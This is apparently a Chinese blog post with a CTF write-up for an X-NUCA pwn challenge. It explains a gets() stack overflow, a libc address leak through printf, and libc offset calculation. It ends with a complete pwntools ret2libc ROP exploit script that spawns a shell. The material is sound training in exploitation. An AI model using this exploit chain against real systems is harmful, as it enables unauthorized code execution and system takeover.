X-NUCA(牛咖)联赛9月pwn专题赛赛前--ROP

解题基本思路

构造栈溢出,然后通过 printf 函数泄露地址,通过 libcdatabase 确定 libc 的版本,找出相应的偏移地址,确定 "bin/sh" 字符串的地址,和 system 函数地址,接着就是通过 system 来获得 Shell

具体步骤

第一步

rop 程序下载到本地,然后通过在 linux 下的 IDA 来查看反汇编代码,也可以通过 gdbpeda 来看, info func 就可以看到已经绑定在程序里面固定的函数plt地址,如下图

这里写图片描述


通过图片看到的地址我们知道这个程序 64 位地址,同时知道 printf@plt,gets@plt …等plt函数。

知识补充

这里需要知道的是 got 表和 plt 表,请转到这个地址学习 got 表和 plt 表的知识点http://blog.csdn.net/qq_18661257/article/details/54694748

64 位的系统他们与 32 位的系统对程序的运行略有不同,针对 64 位的系统函数传参,最开始的 6 个参数是通过rdirsirdxrcxr8r9 ,从第七个参数开始才压入堆栈里面,而 32 位的系统函数传参是直接压入堆栈中

第二步

gets 函数,那么就可能存在栈溢出漏洞,接着通过 gdbpeda 中的 checksec 检查 rop 执行文件的保护情况,如下图:

1

这里写图片描述


查看我们发现了NX属性开启

NX NoeXecute (不可执行)的意思, NX 选项会将进程特殊区域的内存标记为不可执行,当 CPU 跳转到这些区域执行代码的时候便会产生异常,以阻止缓冲区溢出时直接在栈上执行恶意代码。

gcc 编译器默认开启了 NX 选项,如果需要关闭 NX 选项,可以给 gcc 编译器添加 zexecstack 参数。在 Windows 下,类似的概念为 DEP (Data Execution Prevention,数据执行保护),在最新版的Visual Studio中默认开启了DEP编译选项。

但是堆栈溢出保护没有开启,所以可以用 gets 产生栈溢出漏洞

第三步

我们通过disas main查看反编译代码,发现有一个 vuln 函数,进入这个函数

2

这里写图片描述

我们可以看到这里在栈上定义了一个缓冲区,缓冲区的大小为0x40, 从反汇编代码中可以看出 buf 缓冲区的起始地址为 ebp0x88 ,而 read 指定的字节数为 0x100 ,显然是能够产生缓冲区溢出的。但是通过 read 读取多少数据后才会改写 vuln 函数的返回地址呢?可以分析一下此时栈上的数据分布,如下图所示:

这里写图片描述

可以看出要覆盖到返回地址需要0x40 + 16字节的数据

第四步

我们需要泄露函数地址,来确定 system 函数的真实地址进行处理来取得 shell ,但是很明显,我们看函数没有发现有 write 函数,不好字节进行处理,但是有 printf 函数,可是 "%s" 字符串也没有,那我们只能试图写入一个 %s 来进行处理,通过 gets 函数进行写入。这里我们需要找寻内存中一块可读可写的区域,才能写入 %s

第五步

通过 printf 函数泄露出 gets 函数的真实地址,为什么是 gets 呢, printf , libcstartmain 函数为什么不可以,原因是这些函数的地址中有一个字节为 0x0a ,而 0x0a 换为 ASCII 就是换行符,直接就中断输入了,从而没有用,具体情况如下:

这里写图片描述


这些用红框框起的地址中有0a所以不能使用,而其它的函数要用的话必须带有@plt后缀才行


这里写图片描述

红框框中的函数都是可以替代gets函数的

第六步

当得到gets的真是地址后,我们需要做的就是通过libc-database来查看服务器操作系统的版本从此来推断出对应的system地址和”bin/sh”地址。

第七步

代码

# coding=utf-8
from pwn import *

#elf = ELF("./rop")

#p = remote("218.76.35.75",4555)
p = process("./rop")

vuln_addr = p64(0x400656)
pop_rdi_ret_addr = p64(0x400763)
pop_rsi_pop_r15_ret_addr = p64(0x400761)
print_plt_addr = p64(0x400510)
print_got_addr = p64(0x600af0)
push_rbp = p64(0x400718)
gets_got_addr = p64(0x600b08)
gets_plt_addr = p64(0x400540)
allow_write_area = p64(0x6008ea)

#将格式化字符串写入可读可写的内存区域
payload1 = 'A' * 72
payload1 += pop_rdi_ret_addr#pop rdi;ret;指令的地址,需要通过ROPgadget工具根据rop程序获得
payload1 += allow_write_area#可读可写的内存区域,这个基本就是套了
payload1 += gets_plt_addr
#返回到vuln函数
payload1 += vuln_addr

p.sendline(payload1)
a = p.recvuntil('\n')
print a
p.sendline("%s")
#print payload1
#print "%s"
#打印出gets.got表内的真实地址
payload2 = 'B'*72
payload2 += pop_rdi_ret_addr
payload2 += allow_write_area
payload2 += pop_rsi_pop_r15_ret_addr#pop rsi;pop r15;ret;指令的地址,需要通过ROPgadget工具根据rop程序获得
payload2 += gets_got_addr
payload2 += '\x00' * 8
payload2 += print_plt_addr

payload2 += vuln_addr


p.sendline(payload2)
a = p.recvuntil('\n')
print a
gets_really_addr_str = p.recv(8)

gets_really_addr = u64(gets_really_addr_str + '\x00' * (8 - len(gets_really_addr_str)))

#print "0x%x" % gets_really_addr

#p.sendline('aaaa')
#print payload2

system_really_addr = gets_really_addr - 0x6f370 + 0x46590
binsh_really_addr = gets_really_addr - 0x6f370 + 0x17c8c3
print 'get_really_addr', hex(gets_really_addr)
print 'system_realyy_addr', hex(system_really_addr)
print 'binsh_really_addr', hex(binsh_really_addr)


payload3 = cyclic(72)
payload3 += pop_rdi_ret_addr
payload3 += p64(binsh_really_addr)
payload3 += p64(system_really_addr)
payload3 += p64(0xdeadbeaf)#表示接下来的内存部分有特殊用途

p.sendline(payload3)
a = p.recvuntil('\n')
print a
raw_input('interactive')
p.interactive()

如果有什么疑问大家可以提出来,我会准时更新博客

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值